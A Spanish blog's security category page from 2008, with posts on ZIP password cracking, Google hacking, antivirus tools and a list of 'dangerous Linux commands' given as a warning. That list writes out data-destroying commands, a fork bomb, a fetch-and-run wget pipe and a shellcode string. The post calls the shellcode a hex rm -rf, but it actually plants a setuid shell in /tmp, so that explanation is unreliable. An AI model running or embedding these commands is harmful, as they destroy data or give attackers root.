Carlos Leopoldo » Seguridad

Quitar la contraseña de un archivo .ZIP

Carlos Leopoldo — Mon, 05 Jan 2009 06:13:33 +0000

Si tienes un archivo con extensión .ZIP de los que se crean con WinZIP, PKZip, 7-zip, WinRAR, etc., pero no tienes la contraseña ya sea porque la has perdido o simplemente lo descargaste de Intenet pero te pide una contraseña para abrir este archivo y no la tienes, para esto existen varios programas para crackear la contraseña de estos archivos comprimidos.

PicoZip Recovery Tool es uno de estos excelente programas, que además de ser gratis es muy rápido abriendo archivos comprimidos en ZIP con contraseña, el método que usa para encontrar la contraseña es por medio de fuerza bruta y palabras de diccionario por lo que te recomiendo descargar diccionarios del sitio oficial. Además de soportar archivos con extensión .zip soporta los .EXE creados con formato ZIP, es decir los auto-extraibles.

Enlace para descargar gratis PicoZIP Recovery Tool y descarga de los diccionarios para las contraseñas.

Recuerda que también puedes recuparar la contraseña de un archivo de Word y la contraseña de un archivo de Excel.

Otros artículos relacionados

Cómo saber si tu sitio web es vulnerable a técnicas de hackeo usando Google

Carlos Leopoldo — Mon, 22 Dec 2008 18:19:20 +0000

Google además de ser una excelente herramienta de búsqueda y organización de la información, también es una herramienta de Hacking, esto gracias a que Google rastrea todo tu sitio web muchas veces entra a lugares que son privados y que no están protegidos con contraseña o algunas otras veces dejamos nuestras contraseñas al descubierto, cómo el caso de este experto en seguridad que mencionan en FayerWayer:

Un experto en seguridad de la Universidad de Cambridge fue hackeado (que ironía) a partir de un bug en una versión antigua de Wordpress. Pero el hacker creo una cuenta en el sistema, y el password quedó encriptado con el algoritmo MD5 en la base de datos de Wordpress, y el experto en seguridad decidió descifrarlo. Este algoritmo funciona en base a un hash, por lo que es muy poco probable poder desencriptrar la clave, ya que hay que compararlo con un diccionario que debería tener todas las combinaciones posibles de caracteres para ir probando, y por lo tanto muuuuuuucha paciencia.

O tan simple como buscar la clave encriptada en Google. Cuando este tipo buscó el string (secuencia) de la clave encriptada (20f1aeb7819d7858684c898d1e98c1bb) dio con dos páginas. Una de un árbol genealógico sobre los Anthony, y otra de venta de una casa en que el campo del dueño tenia este string y el nombre era Anthony. Probó con Anthony, y efectivamente esa era la clave. Ya que cada conjunto de caracteres genera un string único es posible que alguien ya haya usado esa palabra, no tan solo para una clave si no que para encriptar otra información sensible que puede estar dentro del url o de la página. Y via Google, puedes encontrar donde ha sido usada y usando un poco de deducción encontrar la clave.

Para evitar esto existen herramientas que nos ayudan determinar si nuestro sitio web o blog es sensible a técnicas de Google Hacking, una de ellas se llama Wikto que se trata de un escáner de servidores y de aplicaciones web con el que podrás hacer lo siguiente:

Examina los enlaces que tiene el sitio para descubrir los directorios.
Examina las huellas del servidor Web para identificarlo.
Tiene un explorador basado texto para identificar vulnerabilidades del servidor web, este navegador puede identificar más de 3000 problemas potenciales de seguridad, en un servidor web
Busca directorios en el sitio Web basándose en una lista de los nombres de directorios que suelen tener información sensible.
Busca directorios y archivos sensibles en el sitio Web, usando búsquedas especiales en Google. Utiliza operadores como: “filetype“, “site“… combinándoles entre sí.
Realiza búsquedas en Google, utilizando la base de datos GHDB (Google Hacking Database), donde se encuentran todas las cadenas de búsqueda susceptibles de devolver información sensible.

Enlace para descargar Wikto y manual de usuario.

Enlace a un video donde puedes ver cómo acceder a cámaras de seguridad usando Google.

Otros artículos relacionados

Los mejores antivirus gratis

Carlos Leopoldo — Fri, 12 Dec 2008 05:08:07 +0000

Elegir un antivirus es una decisión difícil y es que existen de muchas formas, colores y sabores, además de que no se recomienda instalar más de un antivirus por computadora. Para elegir un buen antivirus debes tomar en cuenta varios aspectos, los que yo siempre tomo en cuenta son los siguientes:

Consumo de memoria RAM, esto es muy importante sobre todo para computadoras que no cuentan con mucha memoria RAM ya que no quiero que el antivirus consuma la poca memoria disponible, ¿luego que dejo para las aplicaciones?
Pocentaje de efectividad, para esto podemos consultar las tablas comparativas que a veces hacen revistas cómo PC Magazine, o en sitios cómo VirusTotal donde puedes analizar un archivo con varios antivirus a la vez.
Precio, esto es muy importante sobre todo si no se cuenta con mucho presupuesto, además hay que tener cuidado ya que la mayoría de los antivirus que son gratuitos sólo son para usuarios domésticos.

Pero cómo a todos nosotros nos gusta lo gratis, aquí tienes una lista de los 3 mejores antivirus que puedes usar gratuitamente en la computadora de tu casa, no en la de tu trabajo ya que para empresas se requiere pagar licencia, excepto ClamWin.

ClamWin - Este es el único antivirus 100% libre y gratis (usuarios domésticos y empresas), además es muy ligero y no es intrusivo. Descarga ClamWin.
AVG Anti-Virus - Escanea a fondo toda tu computadora además de tu correo electrónico entrante y saliente. Descarga gratis AVG 8 en español.
Avast anti-virus - Es el más lento pero es tal vez el que más se recomienda para computadoras con mayor peligro de virus, eso sí asegurate de que el escaneo automático se ejecute en la noche ya que te alenta mucho la computadora mientras está en proceso. Descarga Avast 4.0 for Home en español.

Otros artículos relacionados

SnoopFree - Un buen Anti-Keylogger

Carlos Leopoldo — Tue, 02 Dec 2008 14:14:15 +0000

Los Keyloggers son programas espias que residen en nuestra computadora y que registran todas las pulsaciones que hacemos en el teclado para robarnos información cómo contraseñas o simplemente para espiranos, si eres paranoico y deseas protegerte contra los Keyloggers, te recomiendo SnoopFree Privacy Shield, este programa no se dedica a rastrear nuestra computadora en busca de Keyloggers sino que detecta si algún programa está registrando lo que tecleamos.

Enlace para descargar SnoopFree Privacy Shield.

Otros artículos relacionados

NOD32 4.0 beta y ESET Smart Security ya disponibles

Carlos Leopoldo — Fri, 28 Nov 2008 05:27:22 +0000

ESET ya ha anunciado las nueva versión de NOD32 la 4.0, este antivirus es uno de los preferidos de muchos y no es para menos, es uno de los pocos antivirus muy efectivos y que cosumen pocos recursos del sistema y ahora en su versión 4.0 que se encuentra en estado Beta, pero que ya se puede descargar NOD32 4.0 y ESET Smart Security gratis, la noevades son las siguientes:

Nueva herramienta llamada ESET SysInspector que prepara un informe general de nuestro sistema.
Las tareas programadas se pueden postergar automáticamente, cuando el equipo esta con baterías
Mejor digitalización de discos extraíbles (bloquear/permitir puertos USB)
Mejor limpieza y autodefensas
Estadísticas con gráficos y mayor información sobre el elemento escaneado
Heurística avanzada
Administrar el nivel de archivos escaneados y tiempo máximo de exploración de objetos
Posibilidad de suprimir notificaciones cuando tenemos aplicación ejecutadonse en modo pantalla completa
Escaneo de protocolos cifrados HTTPS/POP3S
Nuevo modulo de protección de documentos para la digitalización de archivos MS Office
Contraseña protegida de desinstalación
Compatibilidad con Windows Live Mail y Mozilla Thunderbird
Aplicaciones potencialmente inseguras se mostrarán en una ventana de alerta de color amarillo y requerirán la interacción del usuario.

Enlace para máyor información y para descargar.

Otros artículos relacionados

7 comandos peligrosos para Linux

Carlos Leopoldo — Sun, 23 Nov 2008 07:52:47 +0000

Si eres nuevo en Linux, las oportunidades de que alguién te engañe diciendote que uses algún comando para destruir tu sistema son muy altas, por eso es bueno conocer los comandos más peligrosos para GNU/Linux, en Tech Source from Bohol hay un listado de los 7 comando más mortales para Linux, (traducción en Nierox) , algunos de estos comandos pueden formatear el disco duro, dañar los archivos, etc.

rm -rf /
Este comando borrará de manera recursiva y convincente todos los archivos en el directorio raíz, aquí tienes un video para ver en acción el comando rm -rf /.
char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Esta es la versión hexadecimal de rm-rf / que pueden engañar hasta a los usuarios expertos de Linux.
mkfs.ext3 /dev/sda
Este comando formatea la partición que se menciona después de mkfs.
:(){:|:&};:
A este comando se le conoce cómo bomba fork, ejecutar un gran número de procesos hasta que el sistema se congela. Esto puede conducir a la corrupción de datos.
any_command > /dev/sda
Este comando provoca perdida total de datos, en la particion que se menciona en el comando
wget http://alguna_fuente_no_confiable -O- | sh
Esto descarga paquetes de alguna fuente no confiable y la ejecuta, debes tener mucho cuidado ya que puede ser código malicioso
mv /home/tu-carpeta-home/* /dev/null
Este comando va a mover todo el contenido de tu carpeta Home a un directorio que no existe, esto significa que ya nunca volverás a ver tus archivos.

Por ninguna razón vayas a ejecutar estos comando en Linux, esto es más bien con fines didácticos.

Otros artículos relacionados

Qué es el Spyware, cómo funciona y cómo eliminarlo

Carlos Leopoldo — Tue, 18 Nov 2008 18:33:22 +0000

El Spyware también conocido cómo programa espía, es un programa malicioso que de manera oculta se encarga de recopilar información privada acerca de ti, hábitos, lo que haces y hasta tus contraseñas y luego envía esta información a el atacante, muchas veces empresas encargadas de envío de publicidad o mafías de robo de datos bancarios.

Estos programas entran muy fácil y de manera silenciosa a nuestra computadora, pero eso es recomendable contra con protección antispyware o eliminar el spyware con programas especializados, en Maestros del Web tienen una excelente guía para identificar y elminar Spyware.

Otros artículos relacionados

Descargar gratis AVG Anti-Virus 8.0 en español

Carlos Leopoldo — Mon, 17 Nov 2008 20:37:48 +0000

Por mucho tiempo la versión gratuita de AVG, uno de los mejores antivirus para Windows, había estado disponible sólo en inglés, japonés y alemán, pero Grisoft, la empresa encargada de desarrollar AVG, ha lanzado la versión Free de AVG 8.0 en español, sin duda una muy buena noticia para aquellos que no se les da mucho el inglés.

Las principales características que ofrece AVG son:

Protección contra virus, spyware, adware, gusanos y troyanos
Protección de alta calidad que no reduce la velocidad del sistema
Compatible con Windows Vista y Windows XP
Protección web: protege contra sitios web maliciosos

La versión gratuita no ofrece soporte técnico y algunas características, si deseas soporte hay una versión comercial que cuesta: $55 dólares.

Enlace para descargar AVG Free 8.0.

Otros artículos relacionados

Prevenir que entren virus a tu PC desde memorias USB con iKill

Carlos Leopoldo — Mon, 17 Nov 2008 06:39:58 +0000

Muchas computadoras se infectan de virus my fácil, sólo basta con conectar un Pendrive USB para que se infecte, por eso aquí te dejo esta simple herramienta que se llama iKill que previene que entren los virus de la memoria USB a la computadora, su funcionamiento es mediante la exploración de las unidades en busca de la presencia de unidades extraíbles y si se encuentra, se analiza el archivo autorun.inf de los ejecutables que se puede correr.

Además tiene una opción llamada AutoProtect que si está habilitado AutoProtect, automáticamente borrar los archivos presentes en la unidad. en caso contrario, se te preguntará si deseas que el archivo sospechoso sea borrado.

Enlace para descargar iKill, (requiere .NET Framework 2.0 o superior)

Otros artículos relacionados

Licencia gratis de Kaspersky Anti-Virus 2009 por 9 meses

Carlos Leopoldo — Sat, 08 Nov 2008 19:17:02 +0000

Aquí les traigo otro truco para conseguir el número de serie de Kaspersky Anti-Virus 2009 totalmente gratis para tener funcionando Kaspersky durante 9 meses totalmente actualizado, hace unos meses había publicado un número de serie para Kaspersky Internet Security 2009 que funciona durante 6 meses, pero este es por 9 meses y es unicamente para Kaspersky Anti-Virus 2009 y no para Kaspersky Internet Security, la diferencia es que Kaspersky Anti-Virus 2009 no incluye el Firewall y la protección contra Spam.

Kaspersky Anti-Virus 2009

El truco para conseguir la licencia comercial de Kaspersky Anti-Virus 2009 por 9 meses lo encontré en SoftRatty hace algunos dias y no lo habñia publicado aquí hasta verificar que en realidad funcionará, y es que lo que debes hacer es registrarte en el sitio web de Kaspersky de la India dode te piden algunos datos, entre los que debes de poner tu dirección de correo electrónico y esperar unos días para que te llegue a tu email un mensaje con el archivo de activación y/o el número de serie.

Enlace a la web de Kaspersky India donde te debes registrar.